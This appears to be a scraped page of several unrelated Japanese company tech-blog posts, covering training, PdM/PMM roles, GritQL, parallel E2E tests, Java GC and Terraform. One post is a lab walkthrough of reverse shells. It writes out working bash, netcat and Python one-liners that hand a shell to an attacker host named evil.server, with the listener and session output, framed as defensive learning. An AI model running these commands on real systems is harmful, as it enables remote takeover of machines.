多くの人に「使いやすい」と思ってもらえるといいなと今からワクワクしています。 最後まで読んでいただきありがとうございました。
アバター
目次 目次 概要 メールディーラー開発課の紹介 メールディーラーについて 開発体制 配属後研修で身に着けるスキル 研修に使う技術書 課題図書 トレーナーとして気を付けたこと 必要知識の共有 質問し易い雰囲気作り 配属後研修完了後のスキル支援体制 まとめ 概要 この記事は新卒社員のメールディーラー開発課配属後研修の実施内容について書かれています。 ラク スでは技術職の新卒メンバーは入社後3ヶ月間の東京研修(以下入社後研修)を経て、7月より現場に配属されます。 メールディーラー開発課では配属後、約1ヶ月ほどの研修(以下配属後研修)や OJT を通して現場で必要な知識や経験を獲得し、業務を遂行していきます。 メールディーラー開発課の紹介 そもそもメールディーラーについて詳しく知らない方もいらっしゃるかと思うので、簡単にプロダクトの紹介とメールディーラー開発課の体制について説明します。 メールディーラーについて メールディーラーとはメール共有・管理を行うシステムです。 詳しくはこちらを参照ください。 www.maildealer.jp 開発体制 メールディーラー開発課は総勢13名(2023年11月現在)で、要件定義を行う上流チーム2名、概要設計からテストを行う実装チーム7名と、問い合わせ対応や運用業務を行う運用サポートチーム3名で構成されています。 今年の7月より新たに新卒メンバーが実装チームに配属され、同じく実装チームの新卒二年目である私が教育係に任命されました。 配属後研修で身に着けるスキル 入社後研修では、プログラミングの基礎から フレームワーク 、 SQL などWeb開発を行うにあたって必要な基礎知識を身に付けます。 一方配属後研修では、現場で必要な知識を習得します。主な学習内容としては以下になります。 PHP Laravel プロダクトの理解 コーディング規約 ソフトウェアテスト の基礎 模擬修正課題 メールディーラーは PHP により実装されているため、 PHP とLaravelについて書籍を通して学習を行い、理解した内容を課長と教育担当(私です)に向けて発表します。 次に、プロダクト(メールディーラー)についての理解を深めます。具体的にはシステムの概要、マニュアル、 アーキテクチャ や 開発プロセス の理解を行います。 ソフトウェアテスト の基礎について学習も行います。こちらも書籍でホワイトボックス・ ブラックボックステスト について学習し、発表してもらいます。その後、 ブラックボックステスト 作成の模擬課題を通して理解を深めます。 最後に実際のメールディーラーの ソースコード を精読してもらい、演習課題を実装してもらいます。演習課題では、機能開発や PHPUnit による自動テストの開発を行い、より現場に近い内容を実施します。 また、これらの研修の合間の時間を使い、新卒課題図書の読書や社内スキルテストの受験を行ってもらいます。 課題図書は、指定された技術書やビジネス書から三冊を選び、読了後発表してもらいます。 社内スキルテストは Linux の基礎、 SQL の基礎、Webの基礎の三項目あり、これらを合格するまで受験してもらいます。 以上が新卒社員の配属後研修となります。配属後研修後は簡単なバグ修正等の OJT を経て徐々に難易度の高いタスクを実施していきます。 研修に使う技術書 書籍: オライリー :初めての PHP 書籍: PHP 入門 PHP フレームワーク Laravel Webアプリケーション開発 課題図書 エンジニアを説明上手にする本 人を動かす なぜ、あなたの仕事は終わらないのか スピードは最強の武器である すぐやる! 「行動力」を高める“科学的な"方法 学びを結果に変えるアウトプット大全 脳のパフォーマンスを最大まで引き出す 神・時間術脳のパフォーマンスを最大まで引き出す 神・時間術 ライト、ついてますか ? 達人 プログラマー 伝え方が9割 Team Geek マインドセット 「やればできる! 」の研究 1分で話せ (1分で話せ 世界のトップが絶賛した大事なことだけシンプルに伝える技術) ロジカル・プレゼンテーション トレーナーとして気を付けたこと 去年は自身が教育を受ける側だったこともあり、その経験を活かせた点をご紹介します。 必要知識の共有 メールディーラーは歴史が長いサービスということもあり研修では触れられていないけれども事前に知っておかないと躓くポイントが結構あります。 去年の私も例外なく躓きました。そのため、今回の研修では思いつく限りの躓きポイントを事前に伝えました。 また、理解が難しい複雑な仕様についても、詳細な説明をしました。これにより、勘違いなどによる間違った実装を防ぐことができたと思っています。 質問し易い雰囲気作り やはり教育係としては、一人で抱え込むより早めに質問・相談してもらった方が リカバリ ーが効きやすく助かります。 しかしながら、最初のうちはなかなか積極的に質問しづらいものだと思います。 なので、最初のうちは適宜雑談をしたり、定期的に進捗の確認を行ったりと、質問し易い関係性・雰囲気作りを意識しました(忙しいときは話しかけづらいオーラが出ていたかもですが)。 配属後研修完了後のスキル支援体制 配属後研修を完了後も新卒メンバの学習は続きます。 プロダクトのコード精読、メール プロトコル 学習、セキュリティ学習、DB学習、 OSS -DB Silver受験などを業務と並行して実施します。 また、二年目からは中堅エンジニア育成カリキュラムを通して継続的な成長を支援する仕組みがあります。 これにより、概要設計や 結合テスト 、負荷テストの実施など業務の幅を広げることができます。 まとめ 本ブログでは、 ラク スのメールディーラー開発課における新卒メンバーの研修についてご紹介しました。 ラク スでは、入社後研修、配属後研修、 OJT を通して、実務に必要な知識と経験を着実に築いていきます。更に、研修終了後も学習タスクが設けられ、二年目以降は中堅エンジニア育成カリキュラムにも取り組むことができ、自身が担当できる業務の幅を広げていくことが可能です。 ラク スでは、持続的な学びと成長が支援され、エンジニアとしてのスキル向上が継続的にサポートされています。 本記事を最後までお読みいただき、どうもありがとうございました。  
アバター
皆さん、こんにちは!もしくはこんばんは! 楽楽精算プロダクトマネージャーのwekkyyyyです。 前回は「PBIの優先度設定方法のポイントと設定することの狙い」というタイトルで記事をかかせていただきました。 tech-blog.rakus.co.jp 今回は、 PdMとPMMの役割分担・連携 というテーマでブログを記載します。 目次は以下となります。 対象読者 前提 背景 基本方針 決定方法 決定内容(一部分) (やってみて)メリデメ ラクスのPdMとして活躍してみませんか? 対象読者 以下のような方に読んでもらえると有益 になると考えております。 PdMっぽい人とPMMっぽい人がいるけど、実際何をしたらいいかまったくわからない PdMとPMMって役割は分かれてるけど業務に カニ ばりがある PdMとPMMの協業は、うまくいってるけど型化、横展開はできてない 前提 基本的に筆者はPdMを以下の役割と捉えています。 プロダクトの成長のために穴を埋める人 今の ラク ス(楽楽精算)での分担です。 各会社、プロダクトによって分担内容は変わります。 背景 PdM組織が立ちあがるまでは、以下の図のように事業サイドのPMMがPdMの役割を兼務していた状態でした。 しかし、事業サイドのカバー範囲が広くなっており、 必要時間・得意領域の不一致により質の確保が難しいリスクを抱えている状態でした。 そのため、以下のように開発サイドにPdM組織が立ち上がり、役割分担をすることで質・量ともに(優先度としては質)あげていくことを組織として決断しております。 基本方針 PdM/PMMメンバーのリソース・スキルセットを鑑みて決定する。 ということを基本方針として決めております。 決定方法 「DACI」という フレームワーク を使用して決定しました。 DACIとは、「Driver(推進者), Accountable(責任者), Consulted (相談先), Informed (報告先)」の頭文字をとったものです。 このDACIの役割を「Output」「工程」と紐づけて割り当てていきました。   ※割り当て内容は、PdM/PMM協議の上決定しております。 D: Driver (推進者) 特定のタスクを推進し、実行に責任を持ちます。 A: Accountable (責任者) 最終的な意思決定者または承認者となり、タスクの成功に責任を負います。 C: Consulted (相談先) Driver (推進者)から、必要な追加情報や詳細についての相談・実行を受ける人またはチームを指します。 I: Informed (報告先) 進捗や、決定内容について、報告・共有を受ける人を指します。 決定内容(一部分) 以下画像にて、決定内容の一部分を公開いたします。 より詳細な内容は、言える範囲でカジュアル面談・選考で会話させていただけるとありがたいです。 基本的には、 PRDを作成するための必要要素については、マーケット情報の収集をPMM、その他をPdMが「D」としています。 その他、GoToMarketに関わる部分は、PMMを「D」にしています。 (やってみて)メリデメ メリット PdM/PMMそれぞれの得意領域に専念できるようになった 得意な人のOutputから、それ以外の人も学習の機会を持てるようになった 業務効率もアップした 後続作業の担当者からの質問事項が、より深い領域のものになった(組織としてのクオリティアップ) ジョブディスクリプションが明確になった 採用において、社内やエージェントの方など共通言語ができ相互理解に寄与した デメリット (世の中に稀にいる)事業の成長に対して、なんでも穴を埋められるPdMキャリアを歩むことは難しい 筆者は、なんでも自分ひとりで行う必要はないと考えているが、一定目指したい方はいると想定 ラク スのPdMとして活躍してみませんか? 楽楽精算PdMは、引き続き人材を募集しております。 是非カジュアル面談からお申し込みいただけると幸いです。 career-recruit.rakus.co.jp
アバター
こんにちは。フロントエンド開発課の koki _matsuraです。 今回はX(旧 Twitter )で話題になっていた ポスト(旧ツイート) を見て、実際にGritの チュートリアル を通して触ってみたので、備忘録的な感じで軽くGritの概要やクエリ言語であるGritQLの基礎的な構文を紹介させていただきます。 目次は以下のようになっています。 Gritとは GritQLとは チュートリアル コードの検索 メタ変数 コードの変換 条件付き変換 パターン修飾子 パターンの再利用 終わりに Gritとは ソフトウェアのメンテナンスを簡潔にしてくれるツールです。 具体的には対象のコードを目的のコードベースの状態に変換してくれるものです。 Gritの大部分は静的解析によるコード操作を可能にするクエリ言語であるGritQLと変換を目的のコードベースのルールに適用させるAIにより構成されています。 現在はベータバージョンです。 www.grit.io GritQLとは GritQL言語とはコードの検索と変換のためのGritのクエリー言語です。 少ない行数のクエリで複雑な変換を可能としています。 チュートリアル ここからは実際にGritQLを チュートリアル を通して触っていきたいと思います。いろいろなクエリが書かれています。Patternsの最初の例を見てみましょう。 下の画像にある「Run Pattern」を押すとその例のクエリが書かれたエディタが右に出てきます。 エディタの上がGritQLで下がインプットのコードです。 また、もう少し大きいエディタで書きたい場合は右上のリンクからStudioを使いましょう。 初期画面にはデフォルトで何かのクエリが書いてあるかもしれませんが、消せば問題なく自由に書くことができます。 インプットのコードも自由に編集可能です。 コードの検索 最初は console.log("Hello world!") の例を見てみましょう。 この例はシンプルでインプットのコードの中から console.log("Hello world!") を検索しています。 例えば、 console.log(42) に書き換えてみましょう。すると、インプットコードの反応する部分が変わります。 非常に簡単に検索ができます。しかしながら、一つ注目するべきなのはコードには反応していますが、 コメントには反応しない ことです。これはGritQLが単純な文字列マッチングでなく、 JavaScript として機能しているものに反応する ということです。 なので、以下のようなコメントではない文字列の場合もJSではないので反応しません。 `Hello world!` しかし、単純に文字列を検索したい時もあると思います。そのような時は、 "" で囲むことで任意の文字列検索をできます。 メタ変数 メタ変数とは特に意味のない変数のことです。特に日本では hoge や fuga が有名だと思います。 先ほどの console.log("Hello world!") の例ではコンソールの中身が「 Hello world !」でないと反応しません。これでは実用性は低いです。 そこでメタ変数を使いましょう。使い方は以下のようにします。 console .log ( $message ) これでコード上の console.log をキャッチできます。 GritQLでメタ変数を使うためにはマッチさせたい部分を好きな変数名にして先頭に $ マークをつけるだけです。 コードの変換 検索もですが、変換をできるところがGritQLの目玉機能となっています。 やり方はシンプルで、 変換したい値 => 変換後の値 です。 以下の例では JavaScript の var を const に置き換えるものです。 var を文字列として検索しています。 "var" => `const` 結果は以下のようにvarをconstに書き換えられています。 条件付き変換 変換に対して条件を設けるのも簡単です。 SQL と同じで where句 を使います。 例えば、実用性は低めですが、特定のconsoleだけをalertにしたい場合は以下のようにします。 `console.log($message)` => `alert($message)` where { $message <: `"これをalertにする"` } <: はマッチ 演算子 といい、 $message が "これをalertにする" と一致するかを見ています。 結果は以下のように「これをalertにする」以外のconsoleは書き換えられていません。 GritQLでは where だけでなく、 or や and なども使えます。 例えば、以下のクエリは公式が出している「Non-strict == => strict ===」です。orとwhereを使った実用的なものです。 or { `$x == $y` => `$x === $y` , `$x != $y` => `$x !== $y` } where { $y <: not `null` } この例では等価・不等価 演算子 を厳密等価・不等価 演算子 に変換をしています。条件として、比較の右側が null ではない時のみになります。 結果は以下のように $y == null 以外は厳密等価・不等価 演算子 に変換されています。 パターン修飾子 パターン修飾子というのは先ほど使った and や or などのマッチング方法を変換するもののことを言います。 単体で使うのではなく、複数を組み合わせることでより柔軟に対応することができます。 公式の「Function expressions to arrow functions」を例に取ります。 これは名前からもわかると思いますが、関数の書き方を変換するものです。 or { `function ($args) { $body }` => `($args) => { $body }` where { $body <: not contains { or { `this` , `arguments` } } until `function $_($_) { $_ }` } , `($args) => { return $value }` => `($args) => $value` } 今までの例と比べるとかなり複雑に見えますが、少しずつ解釈していけば難しくありません。 1行目の or はコードから function ($args) { $body } か ($args) => { return $value} のどちらかに当てはまるものを抽出してきています。 ($args) => { return $value} に関しては以下のように ($args) => $value に変換しているだけです。 function ($args) { $body } の方は ($args) => { $body} に変換するのですが条件をつけています。 この条件の中で contains と until が新しく出てきます。それぞれ説明します。 contains : 特定のパターンを含んでいるかどうかをチェックします。今回の場合は $body の中に this または arguments を含んでいないことが条件となっています。 until : contains と共に用いるもので、パターンチェックをどこまでするのかを決められます。今回の場合では、 function $_($_) {$_} にマッチする構文にぶつかるまでパターンチェックを行うように設定しています。 ちなみに、 $_ は匿名メタ変数といい、 ワイルドカード 的な感じで使うものです。 $body <: not contains { or { `this` , `arguments` } } until `function $_($_) { $_ }` よって、上記のパターンは関数の処理の中で function $_($_) { $_ } にぶつかるまでに this または arguments を含んでいないことを条件に持ちます。 結果は以下のようになります。 rememberは function $_($_) { $_ } がそもそもないので、関数の処理内容全体がcontainsの対象となり、thisを含んでいるため変換されていません。 sumToValueはthisがありますが、 function $_($_) { $_ } の中にあり、containsの対象にはならないため変換されています。 パターンの再利用 GritQLのクエリも他の プログラミング言語 の関数同様に再利用したいことがあります。 そのような時は、パターンとして定義しましょう。書き方は pattern ${パターン名} (${引数}) { ${クエリ} } のような書き方をします。 例えば、console.logを消すパターン「delete_console_log」は以下のように作成できます。 pattern delete_console_log () { `console.log($message)` => . } 作成したパターンは関数実行と同様に delete_console_log() で使えます。 console.logのみが消されていることも以下から確認できます。 一部省いたものもありますが、以上が チュートリアル で紹介されているものでした。 終わりに 今回はGritQLを触ってみました。 クエリでコードを一気に変換できるのはとても魅力的ですよね。まだベータバージョンなのですが、できることが非常に多くて楽しいです。 機会があれば、応用編としてGritQLで実務にも使えそうなカスタムパターンを作って、記事を書きたいと思うので、期待していただけると幸いです。 また、 チュートリアル では紹介しきれなかったパターンや条件 演算子 などもあるので、 公式のドキュメント を読むことをお勧めします。 最後まで読んでいただきありがとうございました!
アバター
noriharu3 です。 E2Eテストの実行時間短縮を目指して、複数サーバーでテストを並列実行してみましたのでご紹介します。 複数のサーバーでE2Eテストを実行する方法 E2Eテストを並列実行させる E2Eテストを複数のサーバーで並列実行させる 結果 Before After 最後に 複数のサーバーでE2Eテストを実行する方法 元々E2Eテストは以下の構成で実装されていました。 Java Gradle Selenium Gradleを使用していたので並列実行するだけなら、パラメーターを設定するのみ。 なのですが、今回はE2Eテストを1つのサーバーで並列実行するのではなく、 複数サーバーでE2Eテストを並列実行できないか 模索しました。 理由としては、E2Eのテストケース毎にDBの ロールバック が必要となっていたため、 1つのサーバーで並列実行することがそもそもできなかったからです。 E2Eテストを並列実行させる Gradleを使っている場合は、パラメーターを設定するだけです。 終わりですw。 docs.gradle.org // build.gradle test { useJUnitPlatform () ++ maxParallelForks = 2 } E2Eテストを複数のサーバーで並列実行させる テスト実行前の事前処理で実行するサーバーを決定し、テスト毎に実行するサーバーを切り替えます。 具体的には、テスト未実施のサーバーリスト一覧をテキストファイルに保持しておき、そこからテストを実行するサーバーを決定します。 処理の流れ サーバーリストから、テストを実行するサーバーを決定する @BeforeAll に処理を追加することで実現 サーバーリストからサーバーを取得する際の 排他制御 は flock コマンドでサクッと実装 テスト実行する DBを ロールバック する サーバーリスト一覧にサーバーを戻す @AfterAll に処理を追加することで実現 // e2e_server_list e2e_server_1 e2e_server_2 // E2EテストプログラムのAbstract Class ... (途中省略) @BeforeAll protected void リモートホスト割り振り() { Map<String, String> result; try { result = execCommand( "sh" , "server_pop_push.sh" , "pop" ); } catch (IOException e) { throw new RuntimeException(e); } catch (InterruptedException e) { throw new RuntimeException(e); } setServerName(result.get( "stdout" )); } ... (途中省略) @AfterAll public void リモートホスト返却() { try { execCommand( "sh" , "server_pop_push.sh" , "push" , getServerName()); } catch (IOException e) { throw new RuntimeException(e); } catch (InterruptedException e) { throw new RuntimeException(e); } } } ... (途中省略) // server_pop_push.sh SERVER_LIST_FILE = " e2e_server_list " LOCK_FILE = " /tmp/e2e.lock " # 0/1/2以外の任意のファイルディスクリプタ(番号)を指定 exec 200 >" ${LOCK_FILE} " flock 200 ### メイン処理開始 if [ $1 = "pop" ]; then cat $SERVER_LIST_FILE | tail -n 1 sed -ie ' $d ' $SERVER_LIST_FILE elif [ $2 != '' ]; then echo $2 >> $SERVER_LIST_FILE else echo ' 引数が不正です。 ' fi 結果 結果として、2台のサーバーで並列実行したところ、テスト時間は約半分(40%)となりました。 Before 1台のサーバーで順番にテストを実行していました。 After 指定したサーバ台数で分散して、E2Eテストを実行できるようになりました。。 各サーバに均等に処理が振り分けるわけではなく、テスト未実施のサーバーに振り分けられます。 2台のサーバーで並列実行したところ、テスト時間は約半分(40%)となりました。 最後に E2Eテストを 分散 並列実行 したブログは多くあるかと思いますが、これらは 1つのサーバーに対して複数のブラウザを立てて処理を実行するもの がほとんどでした。 DBの ロールバック が必要など、何らかの理由で単純にE2Eテストを並列処理できず困っている方に、何らかのヒントを提供することができたら幸いです。
アバター
はじめまして!バックエンドエンジニアのnnhkrnkと申します! 先日組み込み系エンジニアの友人と話していた際、 C言語 ではメモリをユーザが意図的に開放しないと メモリリーク が起きるということを初めて知りました。 自分は普段 Java を書いてますが、メモリを意識してコーディングをしたことはほとんどありません。どのような仕組みになっているのか気になったため、 Java におけるメモリ解放について調べてみました! メモリ解放は誰がやっているのか メモリ解放の仕組み 4種類のメモリ領域 ヒープ領域の詳細 ガベージコレクション マイナーGC フルGC おわりに 参考 メモリ解放は誰がやっているのか Cや C++ ではユーザが意図的にメモリ管理をする必要がありました。 Java では JVM がその役割を担っています。メモリの使用や解放を自動で行ってくれるため、ユーザがメモリを意識せずにコーディングできるというわけです。 メモリ解放の仕組み メモリ解放は JVM の ガベージコレクション ( GC ) という機能で行われています。 ガベージコレクション の処理を知る前に、 JVM が管理するメモリ領域について整理していきましょう。 4種類のメモリ領域 Java プログラムが実行されると、 Java のプロセスにメモリが割り与えられます。そのメモリ領域は以下の4つの領域に分けられます。 ヒープ領域 スタック領域 メタスペース ネイティブメモリ(※ JVM ではなくOSが管理する領域) 領域 用途・特徴 ヒープ領域 生成された インスタンス の情報が保存される領域。 スタック領域 実行中のプログラムの情報が保存される領域。 実行中の行が「どこから呼び出されていて、どんな情報を参照可能か」などを持っているイメージ。 メタスペース クラス定義、メソッドコード、定数プールなどのクラス関連の情報が保存される領域。 ネイティブメモリ Java プログラムがネイティブコード(C、 C++ などで記述されたコード)を呼び出す際に使用される領域。 JVM ではなくOSが直接管理をしている。 このうち、プログラム実行中にメモリ管理が必要になるのはヒープ領域になります。 ガベージコレクション では、このヒープ領域を対象としてメモリの管理を行っています。 ヒープ領域の詳細 ヒープ領域は大きく分けて以下の2つの領域で構成されています。 Young領域 Old領域 領域 特徴 Young領域 メモリに格納されてからの時間が比較的短いデータが格納されている領域。 新しく生成されたオブジェクトが一時的に配置される。 Old領域 メモリに格納されてからの時間が比較的長いデータが格納されている領域。 Young領域からのオブジェクトが長寿命のものとして移動する。 Young領域にはさらに Eden と Survivor の2つの領域に分けられます。 Survivor は領域が2つありますが、どちらも役割は同じです。 ヒープ領域の詳細 ガベージコレクション ガベージコレクション の処理の流れを理解する前に、 ガベージコレクション には主に以下の2種類があるということを押さえておきましょう。 ガベージコレクション の種類 対象領域 トリガー条件 マイナー GC Young領域(Eden領域、Survivor領域) Eden領域がいっぱいになった場合 フル GC ヒープ領域全体(Young領域とTenured領域) Tenured領域がいっぱいになった場合 マイナー GC マイナー GC は以下のルールに沿ってメモリ解放を行います。 * Eden領域のデータ * データが不要(参照されてない)の場合、データを削除してメモリを解放する * データがまだ必要な場合、データをSurvivor領域に移動させてメモリを解放する * Survivor領域のデータ * データが不要の場合、データを削除してメモリを解放する * データがまだ必要な場合、データをもう片方のSurvivor領域かTenured領域に移動させてメモリを解放する 具体的に図で見ていきましょう。 インスタンス が生成される、そのデータはEden領域に格納されます。 これが繰り返されるとEden領域がいっぱいになり、いずれはメモリが足りなくなってしまいます。 その際に実行されるのが マイナー GC です。 マイナー GC 実行契機 実行開始後、Eden領域のデータがまだ参照されているかどうかを確認します。参照されてない場合は削除、参照されている場合はSurvivor領域に移動させることでメモリ解放を行います。 マイナー GC の処理(Eden領域) 同じタイミングでSurvivor領域のメモリ解放も行います。参照されてない場合は削除することでメモリ解放を行い、まだ参照されている場合はもう片方のSurvivor領域に移動することでメモリを解放します。 マイナー GC の処理(Survivor領域) そのため、長い間解放されないデータは2つのSurvivor領域を行き来することになります。この回数には上限があり、上限を超えたデータはTenured領域に移動されるというわけです。 マイナー GC の処理(移動上限超過) フル GC マイナー GC を繰り返していくと、必要なデータが多く残っている場合にTenured領域がどんどん埋まっていってしまいます。 これを繰り返すと、マイナー GC 実行時にTenured領域に空きがないために必要なデータを移動できないという事態が発生し、マイナー GC 自体が失敗してしまいます。 その失敗を契機として実行されるのが フル GC です。 フル GC 実行契機 Full GC では、YoungとOldの両方に対してメモリ解放を行います。Young領域に対してはマイナー GC と同じルールで実施し、Oldについては不要になったメモリを解放するというシンプルなルールです。 フル GC の処理 おわりに 今回は Java のメモリ解放について記載しました! 自分が普段メモリ解放を意識せずにプログラミングできているのはこのような便利な機能のおかげなんですね!勉強になりました! それではまたの記事でお会いしましょう! 参考 以下の記事を参考にさせていただきました!ありがとうございました! JavaのGCの仕組みを整理する Javaのインスタンス変数とクラス変数(スタック領域とヒープ領域) Javaの並行処理を理解する(入門編) Java8以降のメモリ設定について JVM のメモリ構造
アバター
こんにちは、インフラエンジニアのfro-rivです。 セキュリティ関連でよく耳にするリバースシェル(reverse shell)について、 実際にどうやって実現するのか気になったので調べた結果をまとめてみました。 本記事に記載の手順は、不正な通信とみなされる可能性がありますので、 試す際は管理下のサーバで実施する・適切な許可を取得するなど法的な制約を遵守してください。 リバースシェルとは リバースシェルを試してみる 実現したいこと 前提 事前準備 パターン1:bash パターン2:netcat パターン3:python さいごに 参考 リバースシェルとは リバースシェルとは、自ら接続先サーバ(以下、リモートサーバ)に接続しに行く通常の流れとは違い、 リモートサーバからシェルを渡しに来る通信方法です。 接続の際は、自ら(接続元で)任意のポートをリッスンし、 リモートサーバがアクセスしに来る 形をとるので、リモートサーバ側の ファイアウォール で設定されているINPUT 通信制 御に関係なく接続できます。 以下は超ざっくりとしたイメージです。 ▼通常アクセスの場合 リモートサーバに接続しようとするが、 ファイアウォール で許可されていなければブロックされる 通常アクセス ▼リバースシェルの場合 リモートサーバから接続しに来るので、相手の ファイアウォール のINPUT 通信制 御は関係ない リバースシェル リバースシェルを試してみる 実際にリバースシェルはどのような動きになるのか、どんなコマンドを使うのかを試してみたいと思います。 実現したいこと リバースシェルを用いて、 evil.server (攻撃者)にて、firewalldで外部からのINPUT接続ができないようにした remote.server (リモートサーバ)の bash を操作できるようにしたいと思います。 環境は以下を利用します。 攻撃者 ホスト名: evil.server IPアドレス : 172.YY.YY.YY (マスクします) OS:Ubuntu22.04 リモートサーバ ホスト名: remote.server IPアドレス : 172.XX.XX.XX OS:Almalinux8.7 今から3つの方法でリバースシェルを試してみますが、いずれも以下のような流れになります。 攻撃者が任意のポート(今回は9999番ポートを使う)で待ち受ける リモートサーバ側でコマンドを実行し、攻撃者に bash を渡しに行く 前提 今回はお試しなので、コマンドベース且つリモートサーバを直接操作します。 実際の攻撃では、不正侵入時や何らかの不正な方法でコマンドを記載した スクリプト やバイナリファイルを配布し 自動起動 させるなど、攻撃者が任意のタイミングで起動できる(接続させる)ように仕掛けるような流れになるかと思います。 事前準備 リバースシェルを試す前に、 remote.server でfirewalldを設定し、すべてのポートを遮断します。 zoneはpublic(デフォルト)→ drop に設定します。 ## remote.serverにてfirewalldのzoneをdropにする [root@remote.server ~]# firewall-cmd --set-default-zone=drop success [root@remote.server ~]# firewall-cmd --get-default-zone drop [root@remote.server ~]# firewall-cmd --list-all drop (active) target: DROP icmp-block-inversion: no interfaces: eth0 sources: services: ports: protocols: forward: no masquerade: no forward-ports: source-ports: icmp-blocks: rich rules: [root@remote.server ~]# 設定できたので、 evil.server より0-9999までのポートスキャンを実施しポートが閉じられていることを確認します。 ※全ポートスキャンは時間がかかりすぎることと、 SSH くらいしかサービスを起動していないこともあってとりあえず1-9999に指定してます ## 1-9999までのポートは空いていない root@evil.server:~# nmap -T4 -p 1-9999 -Pn 172.XX.XX.XX Starting Nmap 7.80 ( https://nmap.org ) at 2023-10-30 02:29 UTC Nmap scan report for remote.server (172.XX.XX.XX) Host is up (0.0011s latency). All 9999 scanned ports on remote.server (172.XX.XX.XX) are filtered MAC Address: xx:xx:xx:xx:xx:xx (xx) Nmap done: 1 IP address (1 host up) scanned in 201.46 seconds root@evil.server:~# ## 一応SSH接続も試みて、できないことも確認 root@evil.server:~# ssh 172.XX.XX.XX ssh: connect to host 172.XX.XX.XX port 22: Connection timed out root@evil.server:~# パターン1: bash では、リバースシェルを試してみます。 まずは bash コマンドで行うパターンです。 このコマンドを使用します。 bash -i >& /dev/tcp/${EVIL_SERVER_ADDRESS}/${PORT} 0>&1 ▼攻撃側 evil.server にて、netcat(ncコマンド)を使用して9999ポートで待ち受けます。 # -l:リッスンさせる -p:ポート指定 root@evil.server:~# nc -l -p 9999 ▼リモートサーバ remote.server にて、 bash コマンドで evil.server の9999ポートに接続します。 [root@remote.server ~]# bash -i >& /dev/tcp/172.YY.YY.YY/9999 0>&1 すると、攻撃側のターミナルにリモートサーバのプロンプトが表示されコマンド操作することができます。OSを確認してもリモートサーバ(Almalinux8.7)であることがわかります。 Ctrl+cを押下することで bash を終了できます。 root@evil.server:~# nc -l -p 9999 [root@remote.server ~]# uname -n uname -n remote.server [root@remote.server ~]# cat /etc/redhat-release cat /etc/redhat-release AlmaLinux release 8.7 (Stone Smilodon) [root@remote.server ~]# ^C root@evil.server:~# パターン2:netcat 次は、ncコマンド(netcat)で行うパターンです。 このコマンドを使用します。 nc -nv ${EVIL_SERVER_ADDRESS} ${PORT} -e /bin/bash ▼攻撃側 evil.server で実施することは同じで、ncを利用して9999ポートで待ち受けます。 root@evil.server:~# nc -l -p 9999 ▼リモートサーバ remote.server にて、ncコマンドを利用して evil.server の9999ポートに接続します。  ncコマンドの場合はvオプションを付けているので、 evil.server に接続できた旨のメッセージが出力されます。 [root@remote.server ~]# nc -nv 172.YY.YY.YY 9999 -e /bin/bash Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Connected to 172.YY.YY.YY:9999. すると、先ほどの様にプロンプトは表示されませんが攻撃側のターミナルでリモートの bash が実行できます。 こちらも同じく、Ctrl+cを押下することで bash を終了できます。 root@evil.server:~# nc -l -p 9999 uname -n remote.server cat /etc/redhat-release AlmaLinux release 8.7 (Stone Smilodon) ^C root@evil.server:~# パターン3: python 最後に、 python を使ってリバースシェルを試してみます。 このコマンドを使用します。 export RHOST="${EVIL_SERVER_ADDRESS}";export RPORT=${PORT};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")' ▼攻撃側 evil.server で実施することは同じで、ncを利用して9999ポートで待ち受けます。 root@evil.server:~# nc -l -p 9999 ▼リモートサーバ remote.server にて、 python コマンドを利用して evil.server の9999ポートに接続します。  [root@remote.server ~]# export RHOST="172.YY.YY.YY";export RPORT=9999;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")' こちらも、攻撃側のターミナルでリモートの bash が実行できるようになりました。 こちらも同じく、Ctrl+cを押下することで bash を終了できます。 root@evil.server:~# nc -l -p 9999 [root@remote.server ~]# uname -n uname -n remote.server [root@remote.server ~]# cat /etc/redhat-release cat /etc/redhat-release AlmaLinux release 8.7 (Stone Smilodon) [root@remote.server ~]# ^C root@evil.server:~# さいごに いかがでしたでしょうか。 ファイアウォール でINPUT(内向き)のアクセス制限をかけていても、OUTPUT(外向き)の制限がなければリバースシェルで bash を遠隔操作できることがわかりました。 手順も思っていたより簡単で、手元ですぐに試すことができました。 今回は bash , nc, python を利用する手順を紹介しましたが、これらはほんの一例で 以下のサイトの様に、 IPアドレス や実施方法・言語を選択してリバースシェル用のコマンドを生成できるサイトも存在します。 他にも ペネトレーションテスト 等で使用されるMetasploitと呼ばれる フレームワーク では、簡単にリバースシェルの ペイロード を作成できるようなので、こちらについてはまた調べてみたいと思います。 Online - Reverse Shell Generator 日々業務を行う中でも内向きの制御に目が行きがち(もちろん大事!)でしたが、改めて外向きの 通信制 御の大切さを認識できました。 また、セキュリティ関連は対策は知っていても、実際にどのように攻撃するかを知らないケースも多いので、攻撃手法を知る(違う視点で見る)という良い機会にもなりました。 個人的に興味のある分野なので、さらに深掘りして担当サービスや弊社サービスのセキュリティ向上につながっていけばベストだなと思います。 というわけで、以上とさせていただきます。 参考 https://linux.die.net/man/1/nc リバースシェルとは【用語集詳細】 Online - Reverse Shell Generator What Is a Reverse Shell | Acunetix
アバター
こんにちは。 前回は AWSの既存環境をTerraformでコード化してみた を投稿しましたが、 今回はその振り返りをしていきます。 前半はTerraformの基本的なところから、少し躓いた 三項演算子 について書いていきます。 これからTerraformでコード化していく方の助けになれればと思います。 後半は今回のコード化を通しての個人的な感想を書いていきます。 1.目次 1.目次 2. terraformコマンド 3. コード 4. コード化を通して 5. 終わりに 6. 参考 2. terraformコマンド 主に以下のコマンドを使用します。 #初期化 terraform init #仮実行 terraform plan #本実行 terraform apply #リソース取込 terraform import terraform init 書いたコードで他コマンドを実行するための準備をします。 これを実行しておかないとplanやapplyはできません。 terraform plan 実際に変更は行わず、追加/変更/削除の確認ができます(いわゆるdry-run)。 planは実環境ではなく terraform.tfstate との比較を行います。 terraform.tfstateはリソース情報が記載されている json ファイルです。 terraform apply コードを元に変更を行います。 planでエラーが出ていない場合でも、applyで出ることもあります。 terraform import コード化したリソースがすでに存在する場合、このコマンドを用いて terraform.tfstate に取り込みます。 importの書式は公式ドキュメントの各リソースのページ下部にあります。 上記以外にもterraform.tfstateを参照するコマンドで terraform state list :terraform.tfstateで管理しているリソースのリスト terraform state show "リソース名" 